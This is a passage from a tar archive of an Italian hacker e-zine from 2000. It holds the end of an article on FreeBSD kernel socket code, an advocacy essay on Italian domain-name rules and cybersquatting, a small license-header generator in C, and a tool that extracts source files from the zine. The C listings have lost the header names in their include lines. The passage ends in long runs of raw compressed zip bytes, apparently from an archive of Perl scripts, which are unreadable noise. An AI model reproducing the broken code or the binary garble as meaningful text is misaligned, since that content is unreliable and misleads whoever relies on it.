inizializza le 2 code dello stato delle connessioni qui sono su FreeBSD su S.O. che seguono le BSD 4.4 Networking Implementation Notes sono rispettivamente la so_q0 e la so_q */ TAILQ_INIT(&so->so_incomp); TAILQ_INIT(&so->so_comp); /* assegna la SOCK_* specificata come secondo parametro della chiamta socket() */ so->so_type = type; if (p) { so->so_cred = p->p_cred; so->so_cred->p_refcnt++; } else so->so_cred = NULL; /* facciamo puntare a so_proto la protosw appropriata ricavata dalla pffindproto() o pffindtype() */ so->so_proto = prp; /* eseguiamo la pru_attach() di quel particolare protocollo sara' lei a controllare se si puo' creare una nuova connessione e a restituire un errore per un esempio vedi "Attaccare e staccare un inpcb" sull'articolo del divert in pfi2 dopo l'attach sara' possibile agire le tipiche operazioni per es se il socket verra' connesso so_state verra' settato con valore SS_ISCONNECTED direttamente (il divert fa cosi') o tramite funzione soisconnected() /sys/kern/uipc_socket2.c */ error = (*prp->pr_usrreqs->pru_attach)(so, proto, p); if (error) { so->so_state |= SS_NOFDREF; sofree(so); return (error); } *aso = so; return (0); } Per capire se AF_* e' corretto bisogna soprattutto tenere in mente che la socreate() cerca la protosw corretta attraverso due funzioni: (nb: ricordo che la protosw e' una struttura che collega tutte le funzioni di gestione di un particolare protocollo ... l'ho spiegata in pFi#2) [ kern/uipc_domain.c ] - pffindproto() chiamata se il terzo parametro della socket(2) e' specificato con valore diverso da zero struct protosw * pffindproto(family, protocol, type) int family, protocol, type; { register struct domain *dp; register struct protosw *pr; struct protosw *maybe = 0; if (family == 0) return (0); for (dp = domains; dp; dp = dp->dom_next) /* ricerca del dominio */ if (dp->dom_family == family) goto found; return (0); found: for (pr = dp->dom_protosw; pr < dp->dom_protoswNPROTOSW; pr++) { if ((pr->pr_protocol == protocol) && (pr->pr_type == type)) return (pr); /* trovata la protosw con con family /protocol/type specificati */ if (type == SOCK_RAW && pr->pr_type == SOCK_RAW && pr->pr_protocol == 0 && maybe == (struct protosw *)0) maybe = pr; /* eccezione per SOCK_RAW con protocol 0 */ } return (maybe); } - pffindtype() chiamata se il terzo parametro nella socket(2) e' zero struct protosw * pffindtype(family, type) int family, type; { register struct domain *dp; register struct protosw *pr; for (dp = domains; dp; dp = dp->dom_next) if (dp->dom_family == family) /* ricerca del dominio */ goto found; return (0); found: for (pr = dp->dom_protosw; pr < dp->dom_protoswNPROTOSW; pr++) if (pr->pr_type && pr->pr_type == type) /* ricerca del secondo parametro della socket*/ return (pr); return (0); } Bene, capito questo rimane da vedere com'e' organizzata la struttura domain... Ogni dominio e' una struttura: struct domain { int dom_family; /* AF_xxx */ char *dom_name; void (*dom_init) /* initialize domain data structures */ __P((void)); int (*dom_externalize) /* externalize access rights */ __P((struct mbuf *)); void (*dom_dispose) /* dispose of internalized rights */ __P((struct mbuf *)); struct protosw *dom_protosw, *dom_protoswNPROTOSW; struct domain *dom_next; int (*dom_rtattach) /* initialize routing table */ __P((void **, int)); int dom_rtoffset; /* an arg to rtattach, in bits */ int dom_maxrtkey; /* for routing layer */ }; Gia' questo ci dice AF_ , un semplice esempio e' l'inetdomain (netinet/in_proto.c): struct domain inetdomain = { AF_INET, "internet", 0, 0, 0, inetsw, &inetsw[sizeof(inetsw)/sizeof(inetsw[0])], 0, in_inithead, 32, sizeof(struct sockaddr_in) }; Sembra quindi chiaro che AF_ e' corretto... ma ovviamente e' inutile discuterne ancora... basta pensare che la ip_input() usa al suo interno il seguente if: if(pr->pr_domain->dom_family == PF_INET && ..... ) .... Questo ci fa capire che ormai non c'e' distinzione e cambiare i valori di PF da quelli di AF porterebbe non pochi problemi... pIGpEN ============================================================================== --------------------------------[ EOF 25/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-26100755 0 0 41771 7102660046 10760 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 26 di 28 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ i PADR0Ni DELLA RETE -----[ Carlo Gubitosa , Vittorio Moccia I PADRONI DELLA RETE Un appello per la tutela del no-profit telematico Carlo Gubitosa - Vittorio Moccia - Con una operazione da 60 miliardi, nei mesi a cavallo tra il 1999 e il 2000 Nicola Grauso ha comprato mezzo milione di indirizzi internet, tra cui quelli corrispondenti a numerosi nomi e cognomi italiani. Questa operazione e' stata possibile grazie alla deregulation avviata il 15 dicembre scorso dalla "Registration Authority" italiana, l'autorita' che regola l'assegnazione dei "domini internet". Con la normativa approvata dalla "Registration Authority" sono state autorizzate speculazioni commerciali su vasta scala simili a quella di Grauso, ma le associazioni di fatto e i singoli privi di partita iva non possono registrare piu' di un indirizzo internet. Da qui una campagna "Per la tutela del no-profit in rete". -------------------------------------------------------------- Gia' nel 1994, il libro "Comunita' Virtuali" di Howard Reingold ha denunciato il rischio di una deriva commerciale della comunicazione in rete: "Se le organizzazioni commerciali assumono la gestione della Rete dalle istituzioni pubbliche, chi vi avra' accesso e a chi sara' negato?" - si chiedeva Rheingold nel suo libro - "Chi decidera' che cosa potranno dire e fare gli utenti della Rete? Chi fara' da giudice in caso di disaccordo sul diritto di accesso o sul comportamento telematico? Questa tecnologia e' stata sviluppata con denaro pubblico. Deve esserci un limite alle tariffe che le aziende private possono praticarci in futuro per farci pagare l'utilizzo di una tecnologia nata e sviluppata con il denaro delle nostre tasse? (...) Ci sono buone probabilita' che i grandi centri di potere politico ed economico trovino il modo di mettere le mani anche sulle comunita' virtuali, come e' sempre accaduto in passato e via via con i nuovi mezzi di comunicazione. La rete e' ancora in una condizione di autonomia, ma non puo' rimanervi a lungo. E' importante quello che sappiamo e facciamo ORA, perche' e' ancora possibile che i cittadini del mondo riescano a far si' che questo nuovo, vitale strumento di dibattito resti accessibile a tutti prima che i colossi economici e politici se ne approprino, lo censurino, ci mettano il tassametro e ce lo rivendano. (...) Forse in futuro gli anni Novanta verranno considerati il momento storico in cui la gente e' riuscita, o non e' riuscita, a cogliere la possibilita' di controllo sulle tecnologie comunicative". Il "popolo delle reti", tuttavia, ha finora confidato nella natura anarchica e libertaria della rete, e nella capacita' di autoregolamentazione delle autorita' preposte al controllo e alla gestione delle infrastrutture di rete. La "profezia" di Rheingold e' rimasta cosi' lettera morta fino al marzo 1998, quando per la prima volta una grossa multinazionale tedesca ha deciso di esercitare una indebita ingerenza sulle attivita' telematiche di una associazione italiana di volontariato. Si tratta della "Metro Commerciale Spa", a cui fanno capo, tra l'altro, i negozi della catena "Vobis", una multinazionale che ha ritenuto opportuno negare all'associazione culturale telematica "Metro Olografix", con sede a Pescara, l'utilizzo del dominio www.metro.it, regolarmente registrato con le opportune procedure. Legalmente, almeno in teoria, l'associazione avrebbe potuto far valere i suoi diritti, ma solamente sostenendo le ingenti spese legali necessarie per arrivare a una sentenza definitiva. Una operazione che avrebbe richiesto diversi anni di logorante attesa, dal momento che la Metro Spa aveva tutto l'interesse e le possibilita' economiche di trascinare la questione il piu' a lungo possibile. Con le attuali regolamentazioni in merito all'assegnazione degli indirizzi internet, nel nostro paese il diritto di utilizzare l'indirizzo "metro.it" non spetta a singoli cittadini di cognome "metro", ne' tantomeno all'ente che stabilisce le unita' di misura, tra cui il metro, ma e' di fatto attribuito alla Metro Commerciale SPA, l'unica organizzazione in grado di poter dimostrare questo diritto a colpi di milioni, con un allenato commando di avvocati. L'equivalente telematico della legge della giungla. Questo tipo di controversie e' stato analizzato in dettaglio nel 1998, con uno studio realizzato da Milton Mueller, direttore del Corso di Laurea in Telecomunicazioni e Network Management della Syracuse University School nello stato di New York. "La nostra conclusione e' che i giudici spesso applicano male la legge, a causa di una incomprensione della natura dei nomi di dominio e delle loro caratteristiche economiche e tecniche", afferma Mueller. "Un altro problema e' che i proprietari di marchi registrati sono il piu' delle volte entita' grandi e potenti, che hanno a portata di mano abbondanti risorse legali, mentre i loro avversari sono piccoli, senza esperienza e relativamente poveri. I possessori di marchi registrati hanno potuto reclamare diritti di proprieta' sui nomi di dominio che sono andati oltre i diritti che hanno con la legislazione attuale". Mueller ha studiato 121 controversie arrivate in tribunale, distinguendo tra reali violazioni di marchi registrati, speculazioni sui nomi di dominio (cybersquatting), conflitti tra compagnie con lo stesso nome e altri di carattere politico. Il risultato della ricerca ha messo in evidenza come l'ambito giuridico dei domini internet non sia lo stesso dei marchi registrati, nonostante alcuni conflitti giuridici siano effettivamente ricaduti in questa sfera. La conclusione e' che la maggioranza dei casi non ricadono in nessuna normativa attuale, e che il risultato di questo vuoto legislativo e' stato uno spostamento del potere legale verso le corporazioni piu' grandi e con i migliori staff legali estendendo anche al "cyberspazio" i diritti relativi ai marchi registrati. Ma il potere dei grandi gruppi economici non si limita alla possibilita' di estendere alla rete le regole valide per i marchi registrati: anche le regole recentemente approvate nel nostro paese per l'assegnazione degli indirizzi internet hanno modificato i "rapporti di forza" all'interno della rete a tutto vantaggio dei soggetti economici. Fino al 15 dicembre scorso, infatti, la normativa vigente consentiva la registrazione di un solo indirizzo internet, e le sole organizzazioni autorizzate alla registrazione erano i soggetti economici provvisti di partita IVA, le associazioni di fatto e le associazioni dotate di partita IVA o codice fiscale. Ai singoli cittadini privi di partita iva era negata qualunque possibilita' di registrazione. Il "ribaltone" delle regole del gioco e' avvenuto il 15 dicembre scorso, con una liberalizzazione dei domini italiani promossa dalla Naming Authority (l'organismo che stabilisce le regole di registrazione dei nomi associati agli indirizzi internet). Una manovra che ha di fatto favorito unicamente i possessori di Partita IVA, ovvero le attivita' commerciali che nei mesi scorsi avevano chiesto a gran voce una "deregulation" nelle procedure di registrazione. Con una liberalizzazione indiscriminata e discriminante, la Naming Authority ha stabilito che le "associazioni di fatto" di cittadini ed i "privati cittadini" sono da considerarsi una categoria di serie B rispetto a chi svolga attivita' commerciali, lasciando in tal modo mano libera ai "falchi" dotati di Partita IVA. Le nuove norme approvate dalla Naming Authority prevedono che i singoli cittadini sprovvisti di Partita IVA e le cosiddette "associazioni di fatto" (semplici gruppi di cittadini privi di Partita IVA o codice fiscale) possano registrare un solo indirizzo, mentre per le aziende, le associazioni o i privati dotati di Partita IVA questa limitazione non esiste. La Partita IVA, dunque, e' diventata l'unica discriminante in base alla quale stabilire se un soggetto ha diritto alla registrazione di un unico indirizzo o puo' registrare a suo nome un numero illimitato di indirizzi internet. Attualmente per i possessori di Partita IVA non vi sono piu' vincoli, se non l'impossibilita' di registrare domini con nomi di luoghi geografici; chi arriva prima, pertanto, puo' accaparrarsi cio' che trova libero. Come se non bastasse, per non "ostacolare" il lavoro della Registration Authority italiana, l'ente nazionale preposto alla registrazione degli indirizzi internet, dal 15 dicembre al 15 gennaio alle associazioni di fatto e' stata bloccata la possibilita' di registrare domini .it, in modo da consentire alla Registration Authority di smaltire piu' comodamente il fiume di richieste di registrazioni commerciali pervenute dopo la liberalizzazione. Ai privati cittadini e' stata negata, al pari delle associazioni di fatto, la possibilita' di registrare il proprio dominio fino al 15 gennaio, e nonostante nostre svariate sollecitazioni non e' stata introdotta nel nuovo regolamento della Naming Authority nessuna norma che dissuadesse gli accaparratori di domini (i famosi "squatters") dal fare incetta selvaggia di nomi altrui. Un vuoto legislativo che nei mesi scorsi ha permesso a Nicola Grauso di registrare ben mezzo milione di indirizzi internet attraverso una rete di societa' controllate, una pratica chiamata in gergo "cybersquatting", che si traduce in un vero e proprio "sequestro di persona virtuale". Se il signor mario rossi vorra' in futuro utilizzare l'indirizzo www.mariorossi.it dovra' "pagare il riscatto" per liberare questo indirizzo internet "sequestrato" dal signor Grauso. "Il minimo che potremo fare con questi domini sara' vendere a ciascun 'mario rossi' un indirizzo di posta elettronica personalizzato" ha affermato lo stesso Grauso in una intervista rilasciata il 17 febbraio a "Punto Informatico". Grauso ha operato, tramite la Poli srl, una vera e propria incetta di indirizzi internet associati a nomi e cognomi dei cittadini italiani, approfittando sia del "buco" di 30 giorni dal 15 dicembre al 15 gennaio, sia dell'illimitato numero di domini registrabili per i possessori di Partita IVA. Una operazione commerciale che ha di fatto impedito a molti liberi cittadini di registrare per il futuro il proprio nome sotto forma di "dominio internet". Su questa vicenda e' addirittura intervenuta la Presidenza del Consiglio dei Ministri, con una raccomandazione del 25 gennaio, con cui si chiedeva di "limitare al massimo le registrazioni ai casi in cui sia provato il titolo all'uso di quello specifico nomecognome.it da parte del richiedente", una raccomandazione nata presumibilmente sotto l'effetto di una esternazione del sottosegretario all'Innovazione Stefano Passigli, che si era lamentato della registrazione del dominio stefanopassigli.it rivendicandone la disponibilita'. Tuttavia questo tipo di questioni e' ancora ben lontano dall'essere risolto: ad esempio, a quale dei vari Stefano Passigli in Italia va attribuito il "titolo all'uso" di quel dominio? Sulla scia dell'iniziativa di Grauso, fiutando l'affare dei "domini internet" (strumenti indispensabili per la visibilita' in rete delle aziende), una schiera di operatori commerciali ha lettereralmente paralizzato l'attivita' dell'ente nazionale di registrazione italiano, inondandolo di sacchi postali e di fax di richieste (in Italia infatti, per registrare domini, e' necessario sottoscrivere, da parte del registrante, una lettera di assunzione di responsabilita' da inviare all'ente di registrazione). In questa aberrante logica del profitto a tutti i costi, nella quale si vengono a prefigurare maggiori diritti di taluni cittadini a discapito di altri, sembra svanire ogni rispetto e considerazione per la cultura, per l'associazionismo non profit, realta' che fino ad ora hanno conferito alla rete il vero valore aggiunto in termini di contenuto ed utilita' sociale. La Registration Authority non ha finora favorito in alcun modo l'associazionismo non profit culturale e di volontariato, cosa che avrebbe potuto fare tramite agevolazioni economiche sul costo dei domini. Inoltre, imponendo modalita' di pagamento dei domini e politiche dei prezzi contorte e vetuste, ha nella pratica impedito ai cittadini deboli di registrare domini direttamente presso l'ente stesso, costringendoli a rivolgersi ai provider Maintainer: questi ultimi stabiliscono, con totale potere di arbitrio, il prezzo finale dei domini, a loro venduti dalla Registration, ad un prezzo relativamente basso. E' ancora tutta da giocare la "battaglia" per affermare anche in rete la parita' di diritti tra persone prive di partita iva e soggetti economici, una battaglia che l'operazione eclatante di Grauso ha messo in evidenza solo oggi, ma che ha avuto inizio nel 1998, quando l'associazione di volontariato dell'informazione "PeaceLink", ha lanciato la campagna "per la tutela del no-profit in rete", con l'obiettivo di tutelare i privati e le associazioni di volontariato che rischiano di essere penalizzate dall'attuale regolamentazione in materia di assegnazione degli indirizzi internet. Lo scopo di questa campagna e' l'approvazione di nuove regole per la registrazione di nomi di dominio, in maniera da mettere sullo stesso piano giuridico tutti i cittadini, indipendentemente dal fatto di possedere o meno una partita iva. I promotori della campagna ritengono inoltre che per uno sviluppo equilibrato e pluralista della rete sia importante l'affermazione del carattere di ente pubblico della "Registration Authority" (RA), che sovraintende all'assegnazione dei nomi di domino. La RA, infatti, in quanto emanazione del CNR (ente a finanziamento pubblico), e' essa stessa un ente a carattere pubblico, e in quanto tale avrebbe, almeno in teoria, il dovere di garantire e tutelare in rete la crescita di inizative culturali ed in particolare l'associazionismo no-profit con finalita` di volontariato o umanitarie, assicurando, ad esempio, la registrazione gratuita dei nomi di dominio alle associazioni. Purtroppo la realta' delle cose e' ancora ben lontana dalla teoria, e attualmente le "Authority" italiane somigliano molto di piu' ad una struttura privata che ad un servizio pubblico. A conferma di cio' va detto che lo statuto della Naming Authority non prevede attualmente alcuna presenza obbligatoria di rappresentanti di Enti pubblici, reti civiche o associazioni nel comitato esecutivo di questo organismo. Il 4 luglio 1999 l'associazione PeaceLink aveva lanciato un appello ai responsabili della Naming Authority: "(...) abbiamo denunciato pubblicamente e piu' volte la propensione commerciale mostrata da almeno due anni dalla Registration Authority. L'ente suddetto si occupa della registrazione dei domini internet italiani, e, nonostante la sua forte connotazione pubblica, ha, a nostro avviso, piu` volte calpestato il diritto alla visibilita` in rete dei gruppi deboli, il non profit associazionistico e culturale. (...) Troviamo estremamente ingiuste discriminazioni dei cittadini basate sulla "Partita IVA"; riteniamo doverosa la tutela delle entita' deboli della rete Internet (associazioni non profit, gruppi culturali, etc); ci sorprendiamo nel constatare che perfino agli enti pubblici venga riservato dalla Naming Authority un trattamento di 'serie B'". Un appello reso ancora piu' attuale e urgente dall'approvazione di queste nuove regole, o meglio di questa nuova assenza di regole. Queste vicende confermano ancora di piu' le paure di quanti temevano una trasformazione dell'informazione telematica e dell'internet in una piattaforma commerciale globale. E' l'evidente segnale di un impoverimento culturale che tende a far diventare la Rete un imponente ipermercato telematico, segnandone il passaggio da strumento di interazione attiva e partecipativa, a nuovo televisore multimediale, tramite il quale l'attivita' del cittadino si riduca alla semplice scelta del prodotto da acquistare sul mega portale del momento. La spregiudicata operazione commerciale di Grauso puo' essere a questo punto una buona occasione per rilanciare una forte campagna "per la tutela del no-profit in rete", un punto di partenza per l'affermazione di nuovi diritti che rendano i cittadini uguali tra loro, non solo di fronte alla legge, ma anche di fronte allo schermo del computer, e indipendentemente dalla loro Partita IVA. Carlo Gubitosa Segretario Associazione PeaceLink Vittorio Moccia Responsabile campagna sulla tutela del non profit in rete Per saperne di piu' e per aderire alla campagna promossa da PeaceLink: http://www.peacelink.it/tutelarete email: nonprofit@itb.it ============================================================================== --------------------------------[ EOF 26/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-27100755 0 0 7562 7102660046 10741 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 27 di 28 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ C0FFEE-WARE -----[ pIGpEN > Cos'e' il COFFEE-WARE ? Il COFFE-WARE e' una derivazione del BEER-WARE di Poul-Henning Kamp celebre sviluppatore di FreeBSD... > A cosa serve ? Principalmente e' una protesta contro la Natura stessa che ci ha dato una piantina cosi' nociva per il pancreas ed il fegato, ma nello stesso tempo cosi' indispensabile a stimolare e ad aggiornare la tabella di routing del nostro sistema nervoso... > Si ti capisco ... E allora partecipa pure tu al COFFEE-WARE utilizzando questo header nei tuoi sorgenti... <-| coffee.c |-> /* * Name: Coffee Beta 1 * Date: Mon Jan 31 19:05:04 2000 * Author: pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-19990705-CURRENT FreeBSD 4.0-19990705-CURRENT #6 i386 */ #include #include #include #define YES_SYSTEM #define COFFEE_WARE \ "COFFEE-WARE LICENSE - This source code is like \"THE BEER-WARE LICENSE\" by\n * Poul-Henning Kamp but you can give me in return a coffee." #define AUTHOR \ "Dino Sauro [dinosauro@caffeinomane.it]" #define SPOT \ "Dino Sauro Protezione Animali Antichi Srl" #define SPOT_1 \ "Associazione Recupero Organi" #define BUFFER 500 int main(int count, char **arg) { FILE *origin, *dest; char date[60], name[60]; #ifdef YES_SYSTEM struct utsname mysys; #endif time_t now = time(NULL); char buffer[BUFFER]; int i; if(count!=3) { printf("COFFEE-WARE (c) pIGpEN\n\n"); printf("Usage: %s \n", arg[0]); exit(0); } if( !(origin = fopen(arg[1], "r")) ) { printf("Source File Not Found\n"); exit(-1); } if( !(dest = fopen(arg[2], "w")) ) { printf("Destination file not Found\n"); exit(-1); } strftime(date, 60, "%a %h %d %H:%M:%S %G", localtime(&now)); printf("Name: "); for(i=0; i<60; i++) { name[i] = (unsigned char) getchar(); if(name[i] == '\n') break; } name[i] = '\0'; fprintf(dest,"/*\n"); fprintf(dest," * Name: %s\n", name); fprintf(dest," * Date: %s\n", date); fprintf(dest," * Author: %s\n", AUTHOR); fprintf(dest," *\n"); fprintf(dest," * %s\n", SPOT); fprintf(dest," * %s\n", SPOT_1); fprintf(dest," *\n"); fprintf(dest," * %s\n", COFFEE_WARE); fprintf(dest," *\n"); #ifdef YES_SYSTEM uname(&mysys); fprintf(dest," * Tested on: %s %s %s %s\n", mysys.sysname, mysys.release, mysys.version, mysys.machine); #endif fprintf(dest," */\n\n\n"); while(fgets(buffer, sizeof(buffer), origin)) { fputs(buffer, dest); } fclose(origin); fclose(dest); return (0); } <-X-> > Come si usa ? Devi modificare AUTHOR, SPOT, SPOT_1 con i tuoi dati... Fatto cio' la sintassi e' semplice... Es: coffee utmp.c utmpedit.c Name: An utmp editor E automaticamente ti genera l'header con i dati della tua macchina e l'ora corrente ... > E cosa capisco dalla vita ? Principalmente capisci che ci sono altri che soffrono della tua stessa dipendenza... avrai diritto ad una tazza di caffe' se chi usa il sorgente vorra' pagartela... bye pIGpEN ============================================================================== --------------------------------[ EOF 27/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-28100755 0 0 12350 7102660046 10751 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 28 di 28 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ SNiP2 Beta: NAME DETECTi0N & DiR ANALYSiS -----[ pIGpEN Eccoci qui con una prima versione dello snip che potrebbe avere un significato... L'uso e' semplicissimo... ./snip2 nomefile o nomedir E lo snip2 scopre da solo se si tratta di directory o file... [ Uso con file ] $ snip2 articolo Detected file -> baubau.c [ Uso con directory ] $ snip2 BFi07 (.) ...skipping (..) ...skipping (snip.tgz) ...not found (BFi07-01) ...bfi file! (BFi07-02) ...bfi file! (BFi07-03) ...bfi file! (BFi07-04) ...bfi file! (BFi07-05) ...bfi file! (vcrypt32.zip) ...not found (BFi07-06) ...bfi file! (BFi07-07) ...bfi file! Detected file -> nmb_comp_decomp.c (BFi07-08) ...bfi file! Detected file -> spoof_lin_lkm.c Detected file -> ip_spoof_detect.c (BFi07-09) ...bfi file! Detected file -> gork.c (BFi07-10) ...bfi file! (BFi07-11) ...bfi file! Detected file -> exploit (BFi07-12) ...bfi file! Detected file -> B0CKc.c Detected file -> B0CKs.c Detected file -> B0CKb.c Detected file -> igmplog.c (BFi07-13) ...bfi file! Detected file -> icmp_tunnel.h (BFi07-14) ...bfi file! (BFi07-15) ...bfi file! (BFi07-16) ...bfi file! (BFi07-17) ...bfi file! (BFi07-18) ...bfi file! (BFi07-19) ...bfi file! (BFi07-20) ...bfi file! (BFi07-21) ...bfi file! (BFi07-22) ...bfi file! (bfisrc) ...skipping $ ls BFi07/bfisrc B0CKb.c B0CKc.c B0CKs.c exploit gork.c icmp_tunnel.h igmplog.c ip_spoof_detect.c nmb_comp_decomp.c spoof_lin_lkm.c [ Il codice ] /* * Name: SNiP V.2 Beta * Date: Tue Feb 15 01:00:26 2000 * Author: pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-19990705-CURRENT FreeBSD 4.0-19990705-CURRENT #6 i386 * Linux 2.2.5-15 #1 */ #include #include #include #include #include #include #include #define BFIART "BFi" #define BFISEP "<-| " #define BFIEND "<-X->" #define BFISEP_LEN strlen(BFISEP) #define BUF_SIZE 255 #define DIRNAME "bfisrc" #define FILE_MODE 0 #define DIR_MODE 1 void usage (char *cmd); void dir2file (char *dirname); void snip (char *filename, int mode); void checktype (char *name); void makedir (char *dirname); extern char *optarg; int main(int narg, char **arg) { (narg!=2) ? usage(arg[0]) : checktype(arg[1]); return 0; } void usage(char *cmd) { printf("\nSNiPv2 - pIGpEN / softpj\n" "Under COFFEE-WARE License\n" "Usage: %s dir-or-file\n\n", cmd); } void checktype(char *name) { struct stat chk; if(stat(name,&chk)) { printf("Hmm %s doesn't exist\n", name); exit(0); } if(chk.st_mode & S_IFREG) snip(name, FILE_MODE); if(chk.st_mode & S_IFDIR) dir2file(name); } void dir2file(char *dirname) { DIR *dp; struct dirent *de; char currentdir[BUF_SIZE]; if(!getcwd(currentdir, sizeof(currentdir))) { perror("[dir2file] getcwd()"); exit(0); } if(!(dp=opendir(dirname))) { perror("[dir2file] opendir"); exit(0); } if(chdir(dirname) == -1) { perror("[dir2file] chdir1"); exit(0); } while((de=readdir(dp))) { printf("(%s) ...", de->d_name); switch(de->d_type) { case DT_FIFO: case DT_BLK: case DT_LNK: case DT_DIR: case DT_SOCK: printf("skipping\n"); continue; } if(strstr(de->d_name, BFIART)) { printf("bfi file!\n"); chdir(dirname); snip(de->d_name,DIR_MODE); }else printf("not found\n"); } if( chdir(currentdir) == -1) { perror("[dir2file] chdir2"); exit(0); } closedir(dp); } void snip(char *filename, int mode) { FILE *in, *out; char buf[BUF_SIZE]; int i; static int passed = 0; char ofile[BUF_SIZE]; bzero(ofile, sizeof(ofile)); if(!(in=fopen(filename,"r"))) { perror("[snip] fopen()"); exit(0); } while(fgets(buf, BUF_SIZE, in)) { if(!strncmp(buf, BFISEP, BFISEP_LEN)) { for(i=0; !isspace((int) buf[BFISEP_LEN+i]); i++) ofile[i] = buf[BFISEP_LEN+i]; ofile[i] = '\0'; printf("\t\tDetected file -> %s\n", ofile); switch(mode) { case DIR_MODE: if(!passed) { makedir(DIRNAME); passed = 1; } chdir("bfisrc"); break; } if(!(out = fopen(ofile, "w"))) { perror("[snip] fopen() #2"); exit(0); } while(fgets(buf, BUF_SIZE, in) && !strstr(buf, BFIEND)) fprintf(out,"%s",buf); fclose(out); if(passed && DIR_MODE) chdir(".."); } } fclose(in); } void makedir(char *dirname) { mkdir(dirname, S_IRWXU | S_IRWXG | S_IRWXO); } ============================================================================== --------------------------------[ EOF 28/28 ]--------------------------------- ==============================================================================BFi-8/anosrc.zip100755 0 0 20150 7102660046 11775 0ustar rootrootPK$X( ANO-SMTP.PLX{sH۩wȮuL 9,e{˓xI#4#gI=D!䞞~xIc2hVF"|*d(gWHz_>o W}+M?/ǧ7< [LICdD/Bs@hWiJdz~k(oCQ$c,B_Bh/! bt\JB:pmŜi y 8̻a=-dPYBB~[v{v9:0F- bG!_U{Qq9:!ᓼCNEN 3 Ux˸ PXCY0D52_s457)7r2eXxJ1sL\X? +Q*R7&Wn3}"j\,hD1Yy -*DV:]m> KWS|N9p4t)T L!Z_&|ىڤ-Y Zauk.Xp :+iV(gӊRFooސP=_*SNϔ.:{"C~:SʛaƝIX46XV0{- oZizUn J1"iojf0ćpɱ\/N!}ʃO2|;F%U{4~+D2-0!5u@[4%5#Uܿ6U!XET|~KFU)2=θuYkaWoh,3 n2}zH͕l bV3Xdx^+KR^cdaBsp_*CfylkFf<1jhUV"}eJgq>^Yf}4+|H6tǖraoa|%\Gӟ0;;;.k&~p,T&+ {ΥtR#wWFf1gp$4OX!tרluE>]'mptqnc4ݩJp`CUscԌ_t:ْ&ٱfݕ]ѬɤfT L;XS\ݬԢ`qbrEy,?"jmZU)mZ\PϗIe{fڤCUШ䩞VMq](l;D0avdz(r1!p CIilp[4ٓ{3ܹ'<w ǎi5b&-VUbtln7jrEG:ΘƲ}UgfK7 )0S&xܧG'ld茊0n(^եb;! ,_n.`A%:jhw` /Ălk&!o7"6!Z:prrbLqX 4D%xA#YOH$\,l-1>w`VQ헇ZffUM<T[HI@.J`ni,B'>]W`8,/ Csp1$4)J2L` ! =.b0WGnW=8 *!Ԁ`vb<}쨙1`܂ 7.~` ՋZ#CPK{r(KI  ANO-HTML.PLX[sH~UgdM dgcoRe'nmq5R=I#|Y!q#,/_k秨"9T݄oomoA (b%ݪp'>h4;YyWdS.9LEKsɋOމjKcYkv|zA}8+L\>ZfŠW,Z|:;XLf@ͯ !WVI-.k65ə&JV&%9%Q!rVT *KG[k8jգ],J Xt hrȋLyz{+y -v;r{$՜4htԆB˿7n[vWF^sh;Pn{ Qӑ֚4+8`| 7DEr?N2aeK `QYUWә mEBfPi~ ^ ^Y^TH%;SO-zԴ=6k)K&u#;ާ8, ^ȻgU }z1*2*0BUKunOg|hV16XղQNE,up/YRy8~xzT Yu4?+Dm\PB)i"S5ַvԄE3DQ$-VPud- lĥV)m?zoxPҬv4H[e5[?F0FߗG9E@,ٌIIM6} E FͶ%(#FHow (:ꋬ[ .B_vuK4-Q5J~ iRTPzg{ʀQ7_,h ȧmk.ዿ֥W29u"Ov _ɋ Ь"Fa*Y„eD ި/$DL F=9gwb҅$ "XvpL*ApP3K$K.\L5t#8NbT4.8ځPI<"!ӽ? #4P3Phe, T|hDb 2Ty`e2d<4ڇ $ˮ RV}MD,TY2lY`pvZ" KmQ8( *LJ{ȩH?-u3pLd:TGbQ !D>G)i&Sr@p1ęT &$ጡ 9i.RJ+>8/r08._1M^'razQf. Zs>}bTm?Lꈒ<z ]c+ ;|vtuo*4L0B%Jz"KRMc"Kf{V3~v’95,"8wnyi[]<%cr݅I̸!~ L"8%N9˔4?@w$$~EQV)`O+iԃQ_Ԁ8\h}yͧ9TDU+&*Q3ƍ*;Gx36 V)p`X ߍe$j n^N;LwwF3~@xdbNQ`!^:iIPa~2(Vwں4 V+LP87?I°40z?NN6) wq NLP,H*E<,<|:Zv')_sյ:FC;3iLA 1A 0+nt^hZ0M92a :iBEYwaykۭ9?_4#u7&c*+UnD JFB?g968VGM*\ .uaU=v/J,[w ҖVd~ђ:Z*~ o!1nl =R8{UdN2DJ&K9OC [rZBxAܮ?8ͣ +b_71[XfLR¨lo P O,}3>:K+Z*}R=CS޾mLǹ}W~|x \\cMPÃ#ӘK0*䯊ADs~{l{n/gB׾+F|GΞԽEqo${7ZP #=X6{џe|T >6RW#z]A)$z_D\[o"D,cMm^*,5RpmK~Ũ §v۬]k?߭ԅ{yIJ%E̜#WK7@5,![t_T{ɶ!1M`^ԫJp/w0K,6jFZ ,id*D3hjubA}C~:VU{v[ǃ UY_(Y;4stq]մH V"aO5E&o{,L+5%>MV݄K}D_`DUR Qf_غn*S@x bF0^?ÝCLs^jsA#RrL,!V`=Xp6=Y'AuyYeJqpݼ"V^NE%}Uψ!UE֏'a? h7':>♵J 